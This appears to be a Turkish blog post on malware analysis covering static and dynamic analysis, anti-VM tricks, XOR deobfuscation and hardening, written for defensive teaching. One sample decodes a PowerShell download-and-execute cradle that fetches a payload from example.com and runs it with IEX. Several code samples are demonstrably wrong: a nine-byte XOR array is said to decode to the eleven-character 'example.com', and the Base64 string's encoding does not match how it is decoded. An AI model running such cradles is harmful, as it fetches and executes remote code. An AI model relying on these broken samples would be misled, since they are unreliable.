İçeriğe geç
Sedat Özdemir
Yazılar

cyber-security

İmza Tabanlı Güvenliğin Sonu: Bir Dosyanın Kalbine Yolculuk ve Analiz Sanatı

Bir binary dosyasını sadece EDR’ın önüne atmak yetmez. O dosyanın neden 'VirtualAllocEx' çağırdığını, hangi belleğe ne yazdığını ve komuta kontrol sunucusuyla nasıl bir el sıkışma gerçekleştirdiğini anlamak zorundayız.

Sedat Özdemir
· 3 dk okuma

Windows API çağrılarında VirtualAllocEx ile bellek allocate edip, WriteProcessMemory ile oraya payload basıldığını gördüğünde artık savunma hattının son kalesindesindir. Eğer o an EDR (Endpoint Detection and Response) ötmüyorsa, iş başa düştü demektir.

Selam millet, ben Sedat. Bugün biraz 'siyah kutulara' bakacağız. Bir Red Teamer olarak sadece malware yazmak veya sızmak yetmiyor; sahada karşılaşılan o garip, paketlenmiş (packed) ve kendini gizlemeye çalışan binary'lerin içinde ne döndüğünü anlamak, defansı (Blue Team) güçlendirmenin en temel yolu. Malware analizi sadece bir 'dosya inceleme' işi değildir; bu bir zihin okuma sanatıdır. Yazılımcının niyetini, o karmaşık XOR döngülerinin arkasına sakladığı IP adresini veya hangi registry anahtarına kalıcılık (persistence) bıraktığını çözmeniz gerekir.

1. Statik Analiz: Ölü Otopsisi Yaparken İlk Adım

Dosyayı çalıştırmadan önce yapılan analiz her zaman en güvenlisidir ama bazen en kafa karıştırıcısı olabilir. Bir dosyayı strings komutuna soktuğunda karşına anlamlı bir şey çıkmıyorsa, yüksek ihtimalle karşında yüksek entropili (kaotik veri yapısı) bir dosya vardır.

Eğer bir PE (Portable Executable) dosyasının entropi değeri 7.0’ın üzerindeyse, o dosya ya sıkıştırılmıştır (UPX vb.) ya da şifrelenmiştir.

# Örnek bir entropi ve string kontrolü (Defanged)
$ strings suspicious.exe | grep -i "http"
$ pevalidator --entropy suspicious.exe
# Çıktı: Section .text has entropy 7.89 (Possible encryption/packing)

Statik analizde bakman gereken ilk yer 'Import Address Table' (IAT). Eğer bir malware sadece Kernel32.dll içinden GetProcAddress ve LoadLibrary fonksiyonlarını import ediyorsa, orada durup bir düşün. Bu, malware'in kendi API çağrılarını çalışma zamanında (runtime) dinamik olarak yükleyeceğinin işaretidir. Yani analizden kaçmaya çalışıyor.

2. Dinamik Analiz: Kafesteki Canavarı İzlemek

Statik analiz bizi bir yere kadar götürür. Gerçek aksiyon, dosyayı izole edilmiş bir laboratuvar ortamında (Sandboxing) çalıştırdığımızda başlar. Ama dikkat et, modern malware'ler artık senin bir sanal makinede (VM) olup olmadığını kontrol ediyor.

Örneğin, basit bir CPUID kontrolü veya HKEY_LOCAL_MACHINE\HARDWARE\Description\System\SystemBiosVersion gibi kayıt defteri anahtarlarına bakarak 'VBOX' veya 'VMWARE' kelimelerini arıyorlar. Eğer VM'de olduğunu anlarsa, dosya ya kendini imha eder ya da tamamen zararsız bir 'calc.exe' gibi davranır.

İşte burada devreye 'Behavioral Analysis' giriyor. Dosya çalışırken hangi sistem çağrılarını yapıyor?

# Defanged PowerShell Stager Analizi
$mal_code = "JABjID0gTmV3LU9iamVjdCBOZXQuV2ViQ2xpZW50OyRzID0gJGMuRG93bmxvYWRTdHJpbmcoJ2h0dHA6Ly9leGFtcGxlLmNvbS9wYXlsb2FkLnR4dCcpO0lFWCAkcw=="
$decoded = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String($mal_code))
Write-Host $decoded
# Çıktı: $c = New-Object Net.WebClient; $s = $c.DownloadString('http://example.com/payload.txt'); IEX $s

Yukarıdaki basit bir Base64 örneği. Ama gerçek dünyada bu iç içe geçmiş, karmaşık matematiksel işlemlerle gizlenmiş (obfuscated) halde gelir. Dinamik analizde Process Monitor (ProcMon) kullanarak dosyanın testCompany ağındaki dosya sistemi üzerinde yaptığı değişiklikleri, ağ trafiğini ve oluşturduğu child process'leri anlık izlemeliyiz.

3. Tersine Mühendislik: Kodun Derinliklerine İniş

Her şey başarısız olduğunda, IDA Pro veya Ghidra gibi araçları kuşanıp assembly koduna girmek zorundayız. Malware geliştiricileri genellikle XOR operatörünü çok sever. Neden mi? Çünkü XOR, veriyi gizlemenin en hafif ve etkili yoludur. Aynı anahtarla iki kez XOR'lamak orijinal veriyi geri getirir.

# Basit bir XOR deobfuscator örneği (Defanged)
def xor_decrypt(data, key):
    return bytes([b ^ key for b in data])

encrypted_payload = b'\x1a\x02\x1c\x1c\x0f\x40\x17\x1a\x0d'
key = 0x66
decrypted = xor_decrypt(encrypted_payload, key)
print(f"Decrypted: {decrypted.decode()}") # Çıktı: example.com

Analiz sırasında karşımıza çıkan IsDebuggerPresent gibi anti-debugging fonksiyonlarını runtime'da patch'lemek gerekebilir. EAX register'ına manuel olarak müdahale edip programı 'Hata yok, devam et' moduna sokmak, analistin en büyük zevklerinden biridir.

4. Savunma ve Sertleştirme (Hardening)

Malware analizinden öğrendiklerimizi nasıl savunmaya dönüştürürüz?

  1. Attack Surface Reduction (ASR): Office dökümanlarının child process (örneğin PowerShell) başlatmasını engelleyin.
  2. EDR Tuning: Sadece 'dosya bazlı' tarama yapmayın. Bellek içindeki davranışlara (Process Hollowing, DLL Injection) odaklanın.
  3. LUA (Least Privileged User Account): Kullanıcıların 'Local Admin' haklarını ellerinden alın. Malware'in sistemde kalıcılık sağlamak için HKLM (HKEY_LOCAL_MACHINE) altına yazma yetkisi olmamalı.

testCompany gibi büyük yapılarda, tek bir endpoint'in enfekte olması tüm domain'in düşmesine (Domain Admin'in ele geçirilmesine) kadar gidebilir. Bu yüzden analiz yeteneği, bir güvenlik ekibi için 'lüks' değil, 'zorunluluktur'.

Unutmayın, en iyi malware analizi, o malware'in sisteminizde hiç çalışmamasını sağlayacak önlemleri almanızı sağlayan analizdir. Kodun içinde kaybolun ama amacınızı asla unutmayın: Sistemi daha güvenli hale getirmek.

Bir sonraki teknik derinlikte görüşmek üzere, terminalin başında kalın.

İlgili yazılar